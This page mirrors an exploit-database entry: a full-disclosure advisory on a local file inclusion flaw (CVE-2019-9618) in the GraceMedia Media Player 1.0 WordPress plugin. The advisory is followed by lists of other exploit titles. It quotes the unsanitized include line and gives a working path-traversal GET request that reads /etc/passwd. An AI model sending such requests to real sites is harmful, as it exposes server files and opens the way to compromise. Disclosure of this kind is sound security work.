Menu

"WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion"

Author

"Manuel García Cárdenas"

Platform

php

Release date

2019-03-13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
=============================================
MGC ALERT 2019-001
- Original release date: February 06, 2019
- Last revised:  March 13, 2019
- Discovered by: Manuel García Cárdenas
- Severity: 7/10 (CVSS Base Score)
- CVE-ID: CVE-2019-9618
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion

II. BACKGROUND
-------------------------
Hassle-free and user-friendly way to add a Media player directly to your
website.

III. DESCRIPTION
-------------------------
This bug was found in the file:

/gracemedia-media-player/templates/files/ajax_controller.php

Vulnerable code:

require_once($_GET['cfg']);

The parameter "cfg" it is not sanitized allowing include local files

To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed that is vulnerable to local file
inclusion.

Local File Inclusion POC:

GET
/wordpress/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
GraceMedia Media Player <= 1.0

VII. SOLUTION
-------------------------
Disable plugin until a fix is available, vendor does not fix after 2
requests.

VIII. REFERENCES
-------------------------
https://es.wordpress.org/plugins/gracemedia-media-player/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
February 06, 2019 1: Initial release
March 13, 2019 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
February 06, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas
February 06, 2019 2: Email to vendor without response
February 21, 2019 3: Second email to vendor without response
March 13, 2019 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Release Date Title Type Platform Author
2019-08-16 "Integria IMS 5.0.86 - Arbitrary File Upload" webapps php Greg.Priest
2019-08-16 "Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-16 "EyesOfNetwork 5.1 - Authenticated Remote Command Execution" webapps php "Nassim Asrir"
2019-08-14 "WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery" webapps php "Princy Edward"
2019-08-14 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection" webapps php qw3rTyTy
2019-08-14 "SugarCRM Enterprise 9.0.0 - Cross-Site Scripting" webapps php "Ilca Lucian Florin"
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell" webapps php xerubus
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download" webapps php xerubus
2019-08-14 "Agent Tesla Botnet - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-13 "AZORult Botnet - SQL Injection" remote php prsecurity
2019-08-13 "Agent Tesla Botnet - Arbitrary Code Execution" remote php prsecurity
2019-08-12 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Formula Injection" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting via File Upload" webapps php "Aishwarya Iyer"
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticketreply.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting" webapps php Greg.Priest
2019-08-12 "BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting" webapps php "Angelo Ruwantha"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - SQL Injection" webapps php qw3rTyTy
2019-08-08 "Adive Framework 2.0.7 - Cross-Site Request Forgery" webapps php "Pablo Santiago"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - Arbitrary File Download" webapps php qw3rTyTy
2019-08-08 "Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income)" webapps php "Mr Winst0n"
2019-08-08 "Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting" webapps php Greg.Priest
2019-08-08 "Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-07 "WordPress Plugin JoomSport 3.3 - SQL Injection" webapps php "Pablo Santiago"
2019-08-02 "1CRM On-Premise Software 8.5.7 - Persistent Cross-Site Scripting" webapps php "Kusol Watchara-Apanukorn"
2019-08-02 "Rest - Cafe and Restaurant Website CMS - 'slug' SQL Injection" webapps php n1x_
2019-08-02 "Sar2HTML 3.2.1 - Remote Command Execution" webapps php "Cemal Cihad ÇİFTÇİ"
2019-08-01 "WebIncorp ERP - SQL injection" webapps php n1x_
Release Date Title Type Platform Author
2019-03-13 "WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion" webapps php "Manuel García Cárdenas"
2018-09-19 "WordPress Plugin Localize My Post 1.0 - Local File Inclusion" webapps php "Manuel García Cárdenas"
2018-09-19 "WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion" webapps php "Manuel García Cárdenas"
2018-06-11 "WordPress Plugin Pie Register < 3.0.9 - Blind SQL Injection" webapps php "Manuel García Cárdenas"
2018-04-18 "Kodi 17.6 - Persistent Cross-Site Scripting" webapps multiple "Manuel García Cárdenas"
2018-03-12 "TextPattern 4.6.2 - 'qty' SQL Injection" webapps php "Manuel García Cárdenas"
2017-04-11 "WordPress Plugin Spider Event Calendar 1.5.51 - Blind SQL Injection" webapps php "Manuel García Cárdenas"
2016-04-26 "ImpressCMS 1.3.9 - SQL Injection" webapps php "Manuel García Cárdenas"
2016-02-04 "UliCMS v9.8.1 - SQL Injection" webapps php "Manuel García Cárdenas"
2013-06-03 "Telaen - Information Disclosure" webapps php "Manuel García Cárdenas"
2013-06-04 "Telaen 2.7.x - Open Redirection" webapps php "Manuel García Cárdenas"
2013-06-04 "Telaen 2.7.x - Cross-Site Scripting" webapps php "Manuel García Cárdenas"
2015-10-06 "PHP-Fusion 7.02.07 - Blind SQL Injection" webapps php "Manuel García Cárdenas"
2013-03-10 "Asteriskguru Queue Statistics - 'warning' Cross-Site Scripting" webapps php "Manuel García Cárdenas"
2014-11-17 "Zoph 0.9.1 - Multiple Vulnerabilities" webapps php "Manuel García Cárdenas"
2014-11-17 "WebsiteBaker 2.8.3 - Multiple Vulnerabilities" webapps php "Manuel García Cárdenas"
2014-11-13 "Piwigo 2.6.0 - 'picture.php?rate' SQL Injection" webapps php "Manuel García Cárdenas"
2013-09-30 "XAMPP 1.8.1 - 'lang.php?WriteIntoLocalDisk method' Local Write Access" webapps php "Manuel García Cárdenas"
2016-09-22 "Exponent CMS 2.3.9 - Blind SQL Injection" webapps php "Manuel García Cárdenas"
2017-12-15 "Sync Breeze 10.2.12 - Denial of Service" dos windows "Manuel García Cárdenas"
2018-01-12 "PyroBatchFTP < 3.19 - Buffer Overflow" dos windows "Manuel García Cárdenas"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46537/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46537/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46537/40986/wordpress-plugin-gracemedia-media-player-10-local-file-inclusion/download/", "exploit_id": "46537", "exploit_description": "\"WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion\"", "exploit_date": "2019-03-13", "exploit_author": "\"Manuel Garc\u00eda C\u00e1rdenas\"", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse